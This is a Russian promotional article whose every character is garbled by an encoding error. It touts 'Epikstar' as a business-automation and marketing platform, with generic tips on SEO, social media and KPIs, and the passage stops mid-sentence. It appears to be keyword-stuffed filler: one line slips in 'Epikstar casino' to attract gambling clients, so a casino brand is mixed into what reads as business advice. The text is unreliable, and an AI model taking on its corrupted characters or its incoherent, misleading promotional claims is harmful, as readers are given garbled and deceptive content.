Π Π°ΡΡˆΠΈΡ€ΡŒΡ‚Π΅ бизнСс с Эпикстар ΠΈ достигнитС успСха

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Π Π°ΡΡˆΠΈΡ€ΡŒΡ‚Π΅ бизнСс с Эпикстар ΠΈ Π΄ΠΎΠ±Π΅ΠΉΡ‚Π΅ΡΡŒ успСха

Π Π°ΡΡˆΠΈΡ€ΡŒΡ‚Π΅ бизнСс с Эпикстар ΠΈ достигнитС успСха

Π’Ρ‹ ΡΡ‚Ρ€Π΅ΠΌΠΈΡ‚Π΅ΡΡŒ ΠΊ росту ΠΈ Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΡŽ своСго бизнСса? Эпикстар ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ Π²Ρ‹ΡˆΠ°Π³Π½ΡƒΡ‚ΡŒ Π½Π° Π½ΠΎΠ²Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ! Наша ΠΊΠΎΠΌΠ°Π½Π΄Π° прСдставитСлСй экспСртов Π² области digital-ΠΌΠ°Ρ€ΠΊΠ΅Ρ‚ΠΈΠ½Π³Π° ΠΈ IT-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ Π³ΠΎΡ‚ΠΎΠ²Π° ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ Π²Π°ΠΌ инструмСнты, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для увСличСния вашСй клиСнтской Π±Π°Π·Ρ‹ ΠΈ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ Π΄ΠΎΡ…ΠΎΠ΄ΠΎΠ².

ΠœΡ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ бизнСс ΡƒΠ½ΠΈΠΊΠ°Π»Π΅Π½, поэтому Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ стратСгии, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄ΠΎΠΉΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Π½Π½ΠΎ Π²Π°ΠΌ. Наша ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ процСссы ΠΈ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€ΡƒΡ‚ΠΈΠ½Π½Ρ‹Π΅ Π·Π°Π΄Π°Ρ‡ΠΈ, Ρ‡Ρ‚ΠΎ даст Π²Π°ΠΌ большС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ для создания цСнности для Π²Π°ΡˆΠΈΡ… ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ².

НачнитС Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Эпикстар ΡƒΠΆΠ΅ сСгодня ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π½ΠΎΠ²Ρ‹Π΅ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Ρ‹ для вашСго бизнСса!

ΠžΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡ бизнСс-процСссов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Эпикстар

Эпикстар ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ эффСктивныС Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ для ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ бизнСс-процСссов, позволяя компаниям ΡΠ½ΠΈΠ·ΠΈΡ‚ΡŒ Π·Π°Ρ‚Ρ€Π°Ρ‚Ρ‹ ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ возмоТности Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΌΡ‹ ΠΏΠΎΠΌΠΎΠ³Π°Π΅ΠΌ ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ подсистСмы, Ρ‡Ρ‚ΠΎ сокращаСт врСмя Π½Π° Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Ρ€ΡƒΡ‚ΠΈΠ½Π½Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡.

БистСма управлСния, разработанная Эпикстар, позволяСт ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΠΈ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‡Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ обоснованныС Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π½Π° основС Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. Π£Π΄ΠΎΠ±Π½Ρ‹Π΅ ΠΏΠ°Π½Π΅Π»ΠΈ управлСния ΠΈ ΠΎΡ‚Ρ‡Π΅Ρ‚Ρ‹ ΡƒΠΏΡ€ΠΎΡ‰Π°ΡŽΡ‚ Π°Π½Π°Π»ΠΈΠ· Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ выявлСниС ΡƒΠ·ΠΊΠΈΡ… мСст Π² процСссах.

Наша ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ эффСктивноС ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌΠΈ: с Π΅Π΅ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ‚ΠΊΠΈΠ΅ Ρ†Π΅Π»ΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ сроки ΠΈ Ρ€Π°ΡΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ Π·Π°Π΄Π°Ρ‡ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ сотрудниками. Π­Ρ‚ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ исполнСниС сроков, Π½ΠΎ ΠΈ высокий ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ отвСтствСнности Π² ΠΊΠΎΠΌΠ°Π½Π΄Π΅.

Эпикстар Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΈ с популярными CRM ΠΈ ERP систСмами, Ρ‡Ρ‚ΠΎ позволяСт максимально Π°Π΄Π°ΠΏΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ наш инструмСнт ΠΏΠΎΠ΄ Π½ΡƒΠΆΠ΄Ρ‹ вашСго бизнСса. Π˜ΡΠΊΡƒΡΡΡ‚Π²Π΅Π½Π½Ρ‹ΠΉ ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚ ΠΈ машинноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‚ Ρ€Π°Π±ΠΎΡ‡ΠΈΠ΅ процСссы, прСдоставляя Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ для ΠΈΡ… дальнСйшСго ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ.

ΠžΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡ процСссов с Эпикстар – это Π½Π΅ просто ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ эффСктивности, это созданиС пространства для роста ΠΈ развития вашСго бизнСса Π² соврСмСнных условиях. НачнитС Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½Π°ΠΌΠΈ, ΠΈ ΡƒΠ·Π½Π°ΠΉΡ‚Π΅, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ваши процСссы ΡƒΠΆΠ΅ сСгодня!

Как ΠΏΡ€ΠΈΠ²Π»Π΅Ρ‡ΡŒ Π½ΠΎΠ²Ρ‹Ρ… ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ² Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ Эпикстар

Для привлСчСния Π½ΠΎΠ²Ρ‹Ρ… ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ² Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ Эпикстар Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… стратСгиях, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒΡΡ срСди ΠΊΠΎΠ½ΠΊΡƒΡ€Π΅Π½Ρ‚ΠΎΠ². ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, создайтС ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ сайт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ваши услуги ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Ρ‹. Π’Π°ΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ рСсурс Π±Ρ‹Π» ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ Π² использовании ΠΈ Π°Π΄Π°ΠΏΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ для ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройств.

Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ шагом являСтся использованиС SEO-ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ. ΠžΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ вашСго сайта, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Π±Ρ‹Π» Π²ΠΈΠ΄Π΅Π½ Π² поисковых систСмах. Π˜ΡΡΠ»Π΅Π΄ΡƒΠΉΡ‚Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΠΎΠ²Π°Ρ‚ΡŒ Π²Π°ΡˆΡƒ Ρ†Π΅Π»Π΅Π²ΡƒΡŽ Π°ΡƒΠ΄ΠΈΡ‚ΠΎΡ€ΠΈΡŽ, ΠΈ ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΈΡ… Π² тСксты.

Π‘ΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ сСти Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠ³Ρ€Π°ΡŽΡ‚ Π²Π°ΠΆΠ½ΡƒΡŽ Ρ€ΠΎΠ»ΡŒ Π² ΠΏΡ€ΠΈΠ²Π»Π΅Ρ‡Π΅Π½ΠΈΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ². Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚Ρ‹ Π½Π° популярных ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ…, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Facebook ΠΈ Instagram, ΠΈ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ взаимодСйствуйтС с вашСй Π°ΡƒΠ΄ΠΈΡ‚ΠΎΡ€ΠΈΠ΅ΠΉ. ΠŸΡƒΠ±Π»ΠΈΠΊΡƒΠΉΡ‚Π΅ интСрСсныС посты, Π°ΠΊΡ†ΠΈΠΈ ΠΈ ΡΠΊΡΠΊΠ»ΡŽΠ·ΠΈΠ²Π½Ρ‹Π΅ прСдлоТСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ интСрСс ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ бизнСсу.

НС упуститС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ сотрудничСства с Π±Π»ΠΎΠ³Π΅Ρ€Π°ΠΌΠΈ ΠΈ Π²Π»ΠΈΡΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ личностями Π² вашСй нишС. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ быстро ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ ΠΎΡ…Π²Π°Ρ‚ ΠΈ ΠΏΡ€ΠΈΠ²Π»Π΅Ρ‡ΡŒ Π½ΠΎΠ²Ρ‹Ρ… ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ² Ρ‡Π΅Ρ€Π΅Π· ΠΈΡ… Π°ΡƒΠ΄ΠΈΡ‚ΠΎΡ€ΠΈΠΈ.

ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, рассмотритС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ примСнСния ΠΏΠ»Π°Ρ‚Π½ΠΎΠΉ Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹ Π½Π° ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ…, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Google Ads ΠΈ соцсСти. Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π²Π°ΠΌ быстро донСсти вашС сообщСниС Π΄ΠΎ Ρ†Π΅Π»Π΅Π²ΠΎΠΉ Π°ΡƒΠ΄ΠΈΡ‚ΠΎΡ€ΠΈΠΈ ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ количСство ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΎΠ² Π½Π° ваш сайт.

НС Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ ΠΏΡ€ΠΎ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ€Π³ΠΎΠ²Ρ‹Π΅ прСдлоТСния. Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ Π°ΠΊΡ†Π΅Π½Ρ‚ Π½Π° прСимущСствах вашСго Ρ‚ΠΎΠ²Π°Ρ€Π° ΠΈΠ»ΠΈ услуги, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ вас ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡƒΡ€Π΅Π½Ρ‚ΠΎΠ². НапримСр, использованиС ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ эпикстар ΠΊΠ°Π·ΠΈΠ½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ для привлСчСния ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ², заинтСрСсованных Π² Π°Π·Π°Ρ€Ρ‚Π½Ρ‹Ρ… ΠΈΠ³Ρ€Π°Ρ….

ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ связь с ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°ΠΌΠΈ ΠΈ Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΈΡ… ΠΎΡ‚Π·Ρ‹Π²Ρ‹. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΡƒΠ»ΡƒΡ‡ΡˆΠ°Ρ‚ΡŒ свои прСдлоТСния ΠΈ Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ для Π½ΠΎΠ²Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.

Анализ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² ΠΈ дальнСйшиС шаги послС ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊ Эпикстар

ПослС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊ Эпикстар Π²Π°ΠΆΠ½ΠΎ провСсти Π³Π»ΡƒΠ±ΠΎΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ· ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ². Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ ваша компания Π°Π΄Π°ΠΏΡ‚ΠΈΡ€ΠΎΠ²Π°Π»Π°ΡΡŒ ΠΊ Π½ΠΎΠ²Ρ‹ΠΌ условиям ΠΈ ΠΊΠ°ΠΊΠΈΠ΅ измСнСния ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄ΡƒΡ‚ Π² бизнСс-процСссах. НачнитС с ΠΎΡ†Π΅Π½ΠΊΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»Π΅ΠΉ эффСктивности (KPI), Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ΄Π°ΠΆ, рост клиСнтской Π±Π°Π·Ρ‹ ΠΈ Ρ€Π΅Π½Ρ‚Π°Π±Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅ эти Π΄Π°Π½Π½Ρ‹Π΅ с ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΡΠ²ΠΈΡ‚ΡŒ слабыС ΠΈ ΡΠΈΠ»ΡŒΠ½Ρ‹Π΅ стороны.

Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ шагом слСдуСт провСсти Π°Π½Π°Π»ΠΈΠ· клиСнтских ΠΎΡ‚Π·Ρ‹Π²ΠΎΠ². ΠžΠ±Ρ€Π°Ρ‚Π½Π°Ρ связь ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π²Π°ΠΆΠ½Π° для понимания Ρ‚ΠΎΠ³ΠΎ, насколько эффСктивно Π³ΠΈΠΏΠΎΡ‚Π΅Π·Ρ‹ ΠΎ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π΅ ΠΈΠ»ΠΈ услугС Π±Ρ‹Π»ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹. ΠžΡ†Π΅Π½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ особСнно впСчатляСт Π²Π°ΡˆΠΈΡ… ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ², Π° Ρ‡Ρ‚ΠΎ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π΄ΠΎΡ€Π°Π±ΠΎΡ‚ΠΊΠΈ.

НС Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΡΡ‚Ρ€Π°Ρ‚Π΅Π³ΠΈΡŽ Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΡ… дСйствий. На основС ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… создайтС ΠΏΠ»Π°Π½ ΠΏΠΎ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ бизнСс-процСссов ΠΈ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡŽ клиСнтского обслуТивания. УстановитС рСалистичныС Ρ†Π΅Π»ΠΈ Π½Π° блиТайший ΠΊΠ²Π°Ρ€Ρ‚Π°Π»: это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ уровня удовлСтворСнности ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ², ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠ΅ объСмов ΠΏΡ€ΠΎΠ΄Π°ΠΆ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅ услуг.

Π’Π½Π΅Π΄Ρ€ΠΈΡ‚Π΅ рСгулярныС ΠΎΡ‚Ρ‡Π΅Ρ‚Ρ‹ ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°Ρ… для всСх сотрудников, ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅. Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ всСм участникам Π±Ρ‹Ρ‚ΡŒ Π² курсС Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΡ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ ΠΈ воврСмя Ρ€Π΅Π°Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° Π»ΡŽΠ±Ρ‹Π΅ Π²Ρ‹Π·ΠΎΠ²Ρ‹. ΠžΠ±ΡΡƒΠΆΠ΄Π°ΠΉΡ‚Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ Π½Π° совСщаниях ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ для ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²ΠΊΠΈ стратСгий.

Π’Π°ΠΊΠΆΠ΅ рассматривайтС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ инвСстирования Π² ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅ сотрудников. НовыС инструмСнты ΠΈ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ для Π°Π΄Π°ΠΏΡ‚Π°Ρ†ΠΈΠΈ, Π½ΠΎ ΠΈ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΊΠ²Π°Π»ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ пСрсонала. Π­Ρ‚ΠΎ обСспСчит Π±ΠΎΠ»Π΅Π΅ Π²Ρ‹ΡΠΎΠΊΡƒΡŽ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΈ Π»ΡƒΡ‡ΡˆΠ΅Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΎΠ±Ρ‰Π΅Π³ΠΎ курса ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ.

Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π°Π½Π°Π»ΠΈΠ· Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² послС ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊ Эпикстар станСт основой для создания эффСктивной стратСгии дальнСйшСго развития вашСго бизнСса, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Π΅Π³ΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌΡƒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ ΠΈ ΡƒΠΊΡ€Π΅ΠΏΠ»Π΅Π½ΠΈΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΉ Π½Π° 